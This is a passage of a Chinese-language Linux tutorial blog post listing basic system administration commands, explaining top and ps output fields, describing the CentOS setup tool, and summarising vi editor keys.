#ff0000; ">setup&nbsp;</span></strong>图形化界面配置系统信息<br /><strong><span style="color: #ff0000; ">runlevel&nbsp;</span></strong>显示当前运行级别<br /><strong><span style="color: #ff0000; ">w&nbsp;</span></strong>查看活动用户<br /><strong><span style="color: #ff0000; ">id &lt;用户名&gt;</span>&nbsp;</strong>查看指定用户信息<br /><strong><span style="color: #ff0000; ">last</span>&nbsp;</strong>查看用户登录日志<br /><strong><span style="color: #ff0000; ">who</span>&nbsp;</strong>问问自己是谁<br /><strong><span style="color: #ff0000; ">exit&nbsp;</span></strong>退出当前用户<br /><strong><span style="color: #ff0000; ">uname -a&nbsp;</span></strong>查看内核/操作系统/CPU信息<br /><strong><span style="color: #ff0000; ">fdisk -l&nbsp;</span></strong>查看所有分区<br /><span style="color: #ff0000; "><strong>echo $0&nbsp;&nbsp;&nbsp;&nbsp;</strong>&nbsp;</span>&nbsp; 查看系统当前用户转换后的shell<br /><strong><span style="color: #ff0000; ">echo $shell</span>&nbsp;</strong>&nbsp; 查看系统默认使用shell<br /><strong><span style="color: #ff0000; ">/etc/shells&nbsp;</span>&nbsp;</strong>查看shell列表<br /><strong><span style="color: #ff0000; ">sh&nbsp;</span>&nbsp;</strong>转换sh<br /><strong><span style="color: #ff0000; ">bash&nbsp;</span></strong>转换bash<br />redhat系统&nbsp;&nbsp; chsh -s 转换shell 需要注销才能转换不同的shell<br /><strong><span style="color: #ff0000; ">shutdown&nbsp;</span>&nbsp;</strong>关机相关 -h 关机 -r now&nbsp; 重启<br /><strong><span style="color: #ff0000; ">su - user&nbsp;</span></strong>切换用户<br /><strong><span style="color: #ff0000; ">su</span>&nbsp;</strong>切换root&nbsp;<br /><strong><span style="color: #ff0000; ">reboot&nbsp;</span></strong>系统重启<br /></span><span style="color: #ff0000; font-size: small; "><strong>mount | column -t</strong>&nbsp;<span style="color: #000000; ">查</span>&nbsp;</span><span style="font-size: small; ">看挂接的分区状态<br /><strong><span style="color: #ff0000; ">swapon -s&nbsp;</span></strong>查看所有交换分区<br /><strong><span style="color: #ff0000; ">iptables -L&nbsp;</span></strong>查看防火墙设置<br /><strong><span style="color: #ff0000; ">mke2fs&nbsp;</span>&nbsp;</strong>建立Linux系统使用的ext2文件系统<br /><strong><span style="color: #ff0000; ">fsck&nbsp;</span></strong>检查和维护不一致的文件系统。若系统掉电或磁盘发生问题，可利用fsck命令对文件系统进行检查修理磁盘&nbsp;<br /><strong><span style="color: #ff0000; ">mkfs.ext3&nbsp;&nbsp;</span></strong>建立为ext2/ext3文件系统<br /><strong><span style="color: #ff0000; ">dumpe2fs&nbsp;</span></strong>查看特定设备上现存的文件系统的超级块(super block)和块群(blocks group)的信息<br /><strong><span style="color: #ff0000; ">mkswap /dev/hda3</span>&nbsp;</strong>创建一个swap文件系统&nbsp;<br /><strong><span style="color: #ff0000; ">service&nbsp;</span></strong>服务名称 restart stop start 服务重启等<br /><br /><strong>其他</strong>&nbsp;<br /><strong><span style="color: #ff0000; ">history&nbsp;&nbsp;</span></strong>查看历史命令<br /><strong><span style="color: #ff0000; ">clear&nbsp;</span>&nbsp;</strong>清理屏幕<br /><strong><span style="color: #ff0000; ">su&nbsp;&nbsp;</span></strong>切换超级管理用户<br /><strong><span style="color: #ff0000; ">sudo passwd root&nbsp;</span>&nbsp;</strong>超级管理用户密码<br /><strong><span style="color: #ff0000; ">bc&nbsp;&nbsp;</span></strong>计算器<br /><strong><span style="color: #ff0000; ">cal&nbsp;</span>&nbsp;</strong>日期&nbsp;&nbsp;<br /><strong><span style="color: #ff0000; ">date</span>&nbsp;</strong>&nbsp; 时间&nbsp; 月 年<br /><br /><strong><span style="color: #ff0000; ">wall</span>&nbsp;</strong>&nbsp; 发送消息给所有登入用户<br /><strong><span style="color: #ff0000; ">write&nbsp;</span></strong>发送消息给某个用户<br /><strong><span style="color: #ff0000; ">mesg&nbsp;</span>&nbsp;</strong>阻挡其他用户传递过来的消息<br /><strong><span style="color: #ff0000; ">mail&nbsp;</span>&nbsp;</strong>发送邮箱给用户<br /><strong><span style="color: #ff0000; ">pidof ：</span>&nbsp;</strong>找出某支正在运行的程序的 PID<br /><strong><span style="color: #ff0000; ">fuser：</span>&nbsp;</strong>藉由文件(或文件系统)找出正在使用该文件的程序<br /><strong><span style="color: #ff0000; ">vmstat ：</span>&nbsp;</strong>侦测系统资源变化<br /><strong><span style="color: #ff0000; ">dmesg ：</span>&nbsp;</strong>分析核心产生的信息<br /><br />－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br /><br />下面是比较重要的命令详解&nbsp; 经常用到<br />top、ps、setup命令详解,vi使用<br /><br /></span><span style="font-size: small; "><strong><span style="color: #0000ff; ">1 top命令</span>&nbsp;</strong><br /><br />&nbsp;&nbsp;&nbsp;&nbsp; top命令是Linux下常用的性能分析工具，能够实时显示系统中各个进程的资源占用状况，类似于Windows的任务管理器。下面详细介绍它的使用方法。</span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; "><br /></span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; ">top 显示结果如下所示：<br /><br /><span style="color: #ffffff; "><span style="background-color: #000000; ">01:06:48 up 1:22, 1 user, load average: 0.06, 0.60, 0.48</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">Tasks: 29 total,&nbsp; 1 running, 28 sleeping,&nbsp; 0 stopped,&nbsp; 0 zombie</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">Cpu(s): 0.3% user, 1.0% system, 0.0% nice, 98.7% idle, 0.0% wa, 0.0% hi, 0.0% si</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">Mem:&nbsp;&nbsp; 191272k total,&nbsp; 173656k used,&nbsp;&nbsp; 17616k free,&nbsp;&nbsp; 22052k buffers</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">Swap:&nbsp; 192772k total,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0k used,&nbsp; 192772k free,&nbsp; 123988k cached</span>&nbsp;<br style="background-color: #000000; " /><br style="background-color: #000000; " /><span style="background-color: #000000; ">&nbsp; PID USER&nbsp;&nbsp;&nbsp;&nbsp; PR NI VIRT RES SHR S %CPU %MEM&nbsp;&nbsp; TIME+ COMMAND</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">&nbsp;1379 root&nbsp;&nbsp;&nbsp;&nbsp; 16&nbsp; 0 7976 2456 1980 S 0.7 1.3&nbsp; 0:11.03 sshd</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">&nbsp;14704 root&nbsp;&nbsp;&nbsp;&nbsp; 16&nbsp; 0 2128 980 796 R 0.7 0.5&nbsp; 0:02.72 top</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">&nbsp;&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; 16&nbsp; 0 1992 632 544 S 0.0 0.3&nbsp; 0:00.90 init</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">&nbsp;&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp; 34 19&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0&nbsp;&nbsp; 0 S 0.0 0.0&nbsp; 0:00.00 ksoftirqd/0</span>&nbsp;<br style="background-color: #000000; " /><span style="background-color: #000000; ">&nbsp;&nbsp;&nbsp; 3 root&nbsp;&nbsp;&nbsp;&nbsp; RT&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0&nbsp;&nbsp; 0 S 0.0 0.0&nbsp; 0:00.00 watchdog/0统计信息区</span>&nbsp;</span><br /><br />前五行是系统整体的统计信息。<br /><br /><strong>第一行是任务队列信息</strong>&nbsp;，同uptime命令的执行结果。其内容如下：<br />01:06:48&nbsp; 当前时间<br />up 1:22&nbsp;&nbsp; 系统运行时间，格式为时:分<br />1 user&nbsp;&nbsp; 当前登录用户数<br />load average: 0.06, 0.60, 0.48系统负载，即任务队列的平均长度。<br />三个数值分别为1分钟、5分钟、15分钟前到现在的平均值。<br />第二、三行为进程和CPU的信息。当有多个CPU时，这些内容可能会超过两行。内容如下：<br />Tasks: 29 total&nbsp;&nbsp; 进程总数<br />1 running&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 正在运行的进程数<br />28 sleeping&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 睡眠的进程数<br />0 stopped&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 停止的进程数<br />0 zombie&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 僵尸进程数<br />Cpu(s): 0.3% us&nbsp;&nbsp; 用户空间占用CPU百分比<br />1.0% sy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 内核空间占用CPU百分比<br />0.0% ni&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用户进程空间内改变过优先级的进程占用CPU百分比<br />98.7% id&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 空闲CPU百分比<br />0.0% wa&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 等待输入输出的CPU时间百分比<br />0.0% hi&nbsp;&nbsp;<br />0.0% si&nbsp;&nbsp;<br /><br /><strong>最后两行为内存信息。</strong>&nbsp;内容如下：<br />Mem: 191272k total物理内存总量<br />173656k used&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 使用的物理内存总量<br />17616k free&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 空闲内存总量<br />22052k buffers&nbsp;&nbsp;&nbsp; 用作内核缓存的内存量<br />Swap: 192772k total交换区总量<br />0k used&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 使用的交换区总量<br />192772k free&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 空闲交换区总量<br />123988k cached&nbsp;&nbsp;&nbsp; 缓冲的交换区总量。<br />内存中的内容被换出到交换区，而后又被换入到内存，但使用过的交换区尚未被覆盖，<br />该数值即为这些内容已存在于内存中的交换区的大小。<br />相应的内存再次被换出时可不必再对交换区写入。<br />进程信息区<br /><br />统计信息区域的下方显示了各个进程的详细信息。首先来认识一下各列的含义。<br /><br />序号&nbsp; 列名&nbsp; 含义<br /><br />a&nbsp;&nbsp;&nbsp; PID&nbsp;&nbsp; 进程id<br />b&nbsp;&nbsp;&nbsp;&nbsp; PPID&nbsp; 父进程id<br />c&nbsp;&nbsp;&nbsp;&nbsp; RUSER Real user name<br />d&nbsp;&nbsp;&nbsp;&nbsp; UID&nbsp;&nbsp; 进程所有者的用户id<br />e&nbsp;&nbsp;&nbsp;&nbsp; USER&nbsp; 进程所有者的用户名<br />f&nbsp;&nbsp;&nbsp;&nbsp; GROUP 进程所有者的组名<br />g&nbsp;&nbsp;&nbsp;&nbsp; TTY&nbsp;&nbsp; 启动进程的终端名。不是从终端启动的进程则显示为?<br />h&nbsp;&nbsp;&nbsp;&nbsp; PR&nbsp;&nbsp;&nbsp; 优先级<br />i&nbsp;&nbsp;&nbsp;&nbsp; NI&nbsp;&nbsp;&nbsp; nice值。负值表示高优先级，正值表示低优先级<br />j&nbsp;&nbsp;&nbsp;&nbsp; P&nbsp;&nbsp;&nbsp;&nbsp; 最后使用的CPU，仅在多CPU环境下有意义<br />k&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; %CPU&nbsp; 上次更新到现在的CPU时间占用百分比<br />l&nbsp;&nbsp;&nbsp;&nbsp; TIME&nbsp; 进程使用的CPU时间总计，单位秒<br />m&nbsp;&nbsp;&nbsp;&nbsp; TIME+ 进程使用的CPU时间总计，单位1/100秒<br />n&nbsp;&nbsp;&nbsp;&nbsp; %MEM&nbsp; 进程使用的物理内存百分比<br />o&nbsp;&nbsp;&nbsp;&nbsp; VIRT&nbsp; 进程使用的虚拟内存总量，单位kb。VIRT=SWAP+RES<br />p&nbsp;&nbsp;&nbsp;&nbsp; SWAP&nbsp; 进程使用的虚拟内存中，被换出的大小，单位kb。<br />q&nbsp;&nbsp;&nbsp;&nbsp; RES&nbsp;&nbsp; 进程使用的、未被换出的物理内存大小，单位kb。RES=CODE+DATA<br />r&nbsp;&nbsp;&nbsp;&nbsp; CODE&nbsp; 可执行代码占用的物理内存大小，单位kb<br />s&nbsp;&nbsp;&nbsp;&nbsp; DATA&nbsp; 可执行代码以外的部分(数据段+栈)占用的物理内存大小，单位kb<br />t&nbsp;&nbsp;&nbsp;&nbsp; SHR&nbsp;&nbsp; 共享内存大小，单位kb<br />u&nbsp;&nbsp;&nbsp;&nbsp; nFLT&nbsp; 页面错误次数<br />v&nbsp;&nbsp;&nbsp;&nbsp; nDRT&nbsp; 最后一次写入到现在，被修改过的页面数。<br />w&nbsp;&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp; 进程状态。<br />D=不可中断的睡眠状态<br />R=运行<br />S=睡眠<br />T=跟踪/停止<br />Z=僵尸进程<br />x&nbsp;&nbsp;&nbsp;&nbsp; COMMAND命令名/命令行<br />y&nbsp;&nbsp;&nbsp;&nbsp; WCHAN 若该进程在睡眠，则显示睡眠中的系统函数名<br />z&nbsp;&nbsp;&nbsp;&nbsp; Flags 任务标志，参考sched.h<br />&nbsp;<br />默认情况下仅显示比较重要的PID、USER、PR、NI、VIRT、RES、SHR、S、%CPU、%MEM、TIME+、COMMAND列。可以通过下面的快捷键来更改显示内容。<br />－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－</span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; "><br /></span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; "><strong><span style="color: #0000ff; ">2 ps 命令说明</span>&nbsp;</strong><br />&nbsp;&nbsp;&nbsp; ps命令就是最基本同时也是非常强大的进程查看命令.使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等.总之大部分信息都是可以通过执行该命令得到的</span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; ">top 显示结果如下所示：</span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><br /><span style="background-color: #000000; color: #ffffff; ">USER&nbsp; &nbsp;&nbsp;&nbsp; PID&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; %CPU&nbsp;&nbsp;&nbsp; %MEM&nbsp;&nbsp;&nbsp; VSZ&nbsp;&nbsp;&nbsp; RSS&nbsp;&nbsp;&nbsp; TTY&nbsp;&nbsp;&nbsp; STAT&nbsp;&nbsp;&nbsp; START&nbsp;&nbsp;&nbsp; TIME&nbsp;&nbsp;&nbsp; COMMAND<br />root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3532&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp; 0.2&nbsp;&nbsp;&nbsp; 2428&nbsp;&nbsp;&nbsp; 452&nbsp;&nbsp;&nbsp; ?&nbsp;&nbsp;&nbsp; Ss&nbsp;&nbsp;&nbsp; 20:40&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; gpm -m /dev/input/mice -t imps2</span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; ">&nbsp;&nbsp;&nbsp; USER：说明该程序是属于哪一个人的；<br />&nbsp;&nbsp;&nbsp; PID：该程序的代号；<br />&nbsp;&nbsp;&nbsp; %CPU：代表该程序使用了多少 CPU 资源；<br />&nbsp;&nbsp;&nbsp; %MEM：代表该程序使用了多少的 RAM ；<br />&nbsp;&nbsp;&nbsp; VSZ, RSS：占去的 ram 的大小（ bytes ）；<br />&nbsp;&nbsp;&nbsp; TTY：是否为登入者执行的程序？若为 tty1-tty6 则为本机登入者，若为 pts/?? 则为远程登入者执行的程序<br />&nbsp;&nbsp;&nbsp; STAT：该程序的状态，( R )为可执行的，( S )为该程序正在睡眠中，就是没有执行了，( T )正在侦测或者是停止了，( Z )僵尸程序，就是 zombie 死掉的程序啦！需要以 kill 除去啰！<br />&nbsp;&nbsp;&nbsp; START：该程序开始的日期；<br />&nbsp;&nbsp;&nbsp; TIME：该程序跑了多久的时间？<br />&nbsp;&nbsp;&nbsp; COMMAND：该程序的内容啦！<br />－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br /><br /></span><span style="font-size: small; "><strong><span style="color: #0000ff; ">3 setup介绍</span>&nbsp;</strong><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setup是redhat系列（包括centos,fedora等）里很好用的一个工具，不过可惜的是其它发行版里并没有。<br /><br />为了系统的干净高效，安装系统时使用centos 6最小化安装（为了可以手工编译一些软件包，在安装时选择了马上定制，多选择了开发工具），装完了配置系统时，发现没有setup这个工具，whereis setup ,结果是空的。yum install setup, 系统提示已经安装了setup包。上网查，原来这个包的名字不叫setup, 而是setuptool,<br /><br />yum install setuptool<br /><br />不过运行这时setup只有Authentication configuration可用<br /><br />防火墙的配置包叫system-config-firewall, yum安装，自动安装两个依赖包：system-config-firewall-tui, system-config-firewall-base.<br /><br />通过yum list system-config*查询有好几个相关的包，应该都是与setup功能有关的<br /><br /><strong>system-config-firewall.noarch<br />system-config-firewall-base.noarch<br />system-config-firewall-tui.noarch<br />system-config-date.noarch<br />system-config-date-docs.noarch<br />system-config-kdump.noarch<br />system-config-keyboard<br />system-config-kickstart.noarch<br />system-config-language.noarch<br />system-config-lvm.noarch<br />system-config-network-tui.noarch<br />system-config-printer<br />system-config-printer-libs<br />system-config-printer-udev<br />system-config-services.noarch<br />system-config-services-docs<br />system-config-users.noarch<br />system-config-users-docs.noarch</strong>&nbsp;<br /><br />另外还有一个服务配置工具，它的名字比较特殊，跟上面所述包名字完全不一样，它叫ntsysv<br />运行yum install ntsysv 安装setup的服务设置工具<br />不过，系统配置方面，能手工做就手工做，借助图形化工具不是提高水平的途径。<br /></span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; ">setup是一个设置公用程序，提供图形界面的操作方式。在setup中可设置7类的选项：<br />　&nbsp;&nbsp;<strong>1.登陆认证方式&nbsp;<br />　&nbsp;&nbsp;2.键盘组态设置 　<br />　&nbsp;&nbsp;3.鼠标组态设置 　<br />　&nbsp;&nbsp;4.开机时所要启动的系统服务 　<br />　&nbsp;&nbsp;5.声卡组态设置 　<br />　&nbsp;&nbsp;6.时区设置&nbsp;<br />　&nbsp;&nbsp;7.X&nbsp;Windows组态设置</strong>&nbsp;<br />－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－</span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; "><br /><strong><span style="color: #0000ff; ">4 vi使用</span>&nbsp;</strong><br /></span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vi编辑器是所有Unix及Linux系统下标准的编辑器，它的强大不逊色于任何最新的文本编辑器，这里只是简单地介绍一下它的用法和一小部分指令。由于 对Unix及Linux系统的任何版本，vi编辑器是完全相同的，因此您可以在其他任何介绍vi的地方进一步了解它。Vi也是Linux中最基本的文本编 辑器，学会它后，您将在Linux的世界里畅行无阻。<br />&nbsp;&nbsp;&nbsp;<strong>&nbsp;一般模式：</strong>&nbsp;以 vi 处理一个文件的时后，一进入该文件就是一般模式了。在这个模式中，你可以使用『上下左右』按键来移动光标，您可以使用『删除字符』或『删除整行』来处理文件内容，也可以使用『复制、贴上』来处理您的文件数据。<br />&nbsp;&nbsp;<strong>&nbsp; 编辑模式：</strong>&nbsp;在一般模式中可以处理删除、复制、贴上等等的动作，但是却无法编辑的！要等到您按下『i, I, o, O, a, A, r, R』等字母之后才会进入编辑模式。注意了！通常在 Linux 中，按下上述的字母时，在画面的左下方会出现『 INSERT 或 REPLACE 』的字样，才可以输入任何字来输入到您的文件中！而如果要回到一般模式时，则必须要按下『Esc』这个按键即可退出编辑模式。<br />&nbsp;&nbsp;&nbsp;<strong>&nbsp;指令列命令模式：</strong>&nbsp;在一般模式当中，输入『 : 或 / 』就可以将光标移动到最底下那一行，在这个模式当中，可以提供您『搜寻资料』的动作，而读取、存盘、大量取代字符、离开 vi 、显示行号 等等的动作则是在此模式中达成的！<br /><br /><strong>一般模式：</strong>&nbsp;&nbsp;&nbsp;&nbsp; 移动光标<br />h 或 向左方向键<br />&nbsp;&nbsp;&nbsp; 光标向左移动一个字符<br />j 或 向下方向键<br />&nbsp;&nbsp;&nbsp; 光标向下移动一个字符<br />k 或 向上方向键<br />&nbsp;&nbsp;&nbsp; 光标向上移动一个字符<br />l 或 向右方向键<br />&nbsp;&nbsp;&nbsp; 光标向右移动一个字符<br />[Ctrl] + [f]<br />&nbsp;&nbsp;&nbsp; 屏幕『向前』移动一页（常用）<br />[Ctrl] + [b]<br />&nbsp;&nbsp;&nbsp; 屏幕『向后』移动一页（常用）<br />[Ctrl] + [d]<br />&nbsp;&nbsp;&nbsp; 屏幕『向前』移动半页<br />[Ctrl] + [u]<br />&nbsp;&nbsp;&nbsp; 屏幕『向后』移动半页<br />+<br />&nbsp;&nbsp;&nbsp; 光标移动到非空格符的下一列<br />-<br />&nbsp;&nbsp;&nbsp; 光标移动到非空格符的上一列<br />n&lt;space&gt;<br />&nbsp;&nbsp;&nbsp; 按下数字后再按空格键，光标会向右移动这一行的 n 个字符。例如 20&lt;space&gt; 则光标会向后面移动 20 个字符距离。<br />0<br />&nbsp;&nbsp;&nbsp; 这是数字『 0 』：移动到这一行的最前面字符处（常用）<br />$<br />&nbsp;&nbsp;&nbsp; 移动到这一行的最后面字符处（常用）<br />H<br />&nbsp;&nbsp;&nbsp; 光标移动到这个屏幕的最上方那一行<br />M<br />&nbsp;&nbsp;&nbsp; 光标移动到这个屏幕的中央那一行<br />L<br />&nbsp;&nbsp;&nbsp; 光标移动到这个屏幕的最下方那一行<br />G<br />&nbsp;&nbsp;&nbsp; 移动到这个文件的最后一行（常用）<br />nG<br />&nbsp;&nbsp;&nbsp; 移动到这个文件的第 n 行。例如 20G 则会移动到这个文件的 20 行(可配合 :set nu)<br />n&lt;Enter&gt;<br />&nbsp;&nbsp;&nbsp; 光标向下移动 n 行（常用）<br />一般模式： &nbsp;&nbsp;&nbsp; 搜寻与取代<br />/word<br />&nbsp;&nbsp;&nbsp; 向光标之后寻找一个字符串名称为 word 的字符串。（常用）<br />?word<br />&nbsp;&nbsp;&nbsp; 向光标之前寻找一个字符串名称为 word 的字符串。<br />:n1,n2s/word1/word2/g<br />&nbsp;&nbsp;&nbsp; 在第 n1 与 n2 行之间寻找 word1 这个字符串，并将该字符串取代为 word2 ！（常用）<br />:1,$s/word1/word2/g<br />&nbsp;&nbsp;&nbsp; 从第一行到最后一行寻找 word1 字符串，并将该字符串取代为 word2 ！（常用）<br />:1,$s/word1/word2/gc<br />&nbsp;&nbsp;&nbsp; 从第一行到最后一行寻找 word1 字符串，并将该字符串取代为 word2 ！且在取代前显示提示字符给使用者确认（conform）是否需要取代！（常用）<br />一般模式： &nbsp;&nbsp;&nbsp; 删除、复制与贴上<br />x, X<br />&nbsp;&nbsp;&nbsp; x 为向后删除一个字符， X 为向前删除一个字符（常用）<br />nx<br />&nbsp;&nbsp;&nbsp; 向后删除 n 个字符<br />dd<br />&nbsp;&nbsp;&nbsp; 删除游标所在的那一整列（常用）<br />ndd<br />&nbsp;&nbsp;&nbsp; 删除光标所在的向下 n 列，例如 20dd 则是删除 20 列（常用）<br />d1G<br />&nbsp;&nbsp;&nbsp; 删除游标所在到第一行的所有数据<br />dG<br />&nbsp;&nbsp;&nbsp; 删除游标所在到最后一行的所有数据<br />yy<br />&nbsp;&nbsp;&nbsp; 复制游标所在的那一行（常用）<br />nyy<br />&nbsp;&nbsp;&nbsp; 复制光标所在的向下 n 列，例如 20yy 则是复制 20 列（常用）<br />y1G<br />&nbsp;&nbsp;&nbsp; 复制游标所在列到第一列的所有数据<br />yG<br />&nbsp;&nbsp;&nbsp; 复制游标所在列到最后一列的所有数据<br />p, P<br />&nbsp;&nbsp;&nbsp; p 为复制的数据在光标下一行贴上，P 则为贴在游标上一行！（常用）<br />J<br />&nbsp;&nbsp;&nbsp; 将光标所在列与下一列的数据结合成同一列<br />c<br />&nbsp;&nbsp;&nbsp; 重复删除多个数据，例如向下删除 10 行，[ 10cj ]<br />u<br />&nbsp;&nbsp;&nbsp; 复原前一个动作。（常用）<br /><strong>进入编辑模式 &nbsp;</strong>&nbsp;&nbsp; &nbsp;<br />i, I<br />&nbsp;&nbsp;&nbsp; 插入：在目前的光标所在处插入输入之文字，已存在的文字会向后退；（常用）<br />a, A<br />&nbsp;&nbsp;&nbsp; 增加：由目前光标所在的下一个字开始输入，已存在的文字会向后退：（常用）<br />o, O<br />&nbsp;&nbsp;&nbsp; 插入新的一行：从光标所在的下一行枝行首开始输入文字；（常用）<br />r, R<br />&nbsp;&nbsp;&nbsp; 取代：r 会取代光标所在的那一个字符；R会一直取代光标所在的文字，直到按下 ESC 为止；（常用）<br />Esc<br />&nbsp;&nbsp;&nbsp; 退出编辑模式，回到一般模式中（常用）<br /><strong>指令列命令模式 &nbsp;&nbsp;&nbsp;&nbsp;</strong>&nbsp;<br />:w<br />&nbsp;&nbsp;&nbsp; 将编辑的数据写入硬盘文件中（常用）<br />:w!<br />&nbsp;&nbsp;&nbsp; 若文件属性为『只读』时，强制写入该文件<br />:q<br />&nbsp;&nbsp;&nbsp; 离开 vi （常用）<br />:q!<br />&nbsp;&nbsp;&nbsp; 若曾修改过文件，又不想储存，使用 ! 为强制离开不储存文件。<br />:wq<br />&nbsp;&nbsp;&nbsp; 储存后离开，若为 :wq! 则为强制储存后离开（常用）<br />:e!<br />&nbsp;&nbsp;&nbsp; 将文件还原到最原始的状态！<br />ZZ<br />&nbsp;&nbsp;&nbsp; 若文件没有更动，则不储存离开，若文件已经经过更动，则储存后离开！<br />:w [filename]<br />&nbsp;&nbsp;&nbsp; 将编辑的数据储存成另一个文件（类似另存新档）<br />:r [filename]<br />&nbsp;&nbsp;&nbsp; 在编辑的数据中，读入另一个文件的数据。亦即将 『filename』这个文件内容加到游标所在行后面<br />:set nu<br />&nbsp;&nbsp;&nbsp; 显示行号，设定之后，会在每一行的前缀显示该行的行号<br />:set nonu<br />&nbsp;&nbsp;&nbsp; 与 set nu 相反，为取消行号！<br />n1,n2 w [filename]<br />&nbsp;&nbsp;&nbsp; 将 n1 到 n2 的内容储存成 filename 这个文件。<br />:! command<br />&nbsp;&nbsp;&nbsp; 暂时离开 vi 到指令列模式下执行 command 的显示结果！例如[ :! ls /home ]<br /><br />－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－<br /><br /><span style="color: #0000ff; "><strong>命令查看帮助三种方式</strong>&nbsp;</span><br /><br /><strong><span style="color: #ff0000; ">info command<br />command --help<br />man&nbsp; command&nbsp;</span></strong></span></p><img src ="http://www.blogjava.net/kxbin/aggbug/382829.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-11 22:31 <a 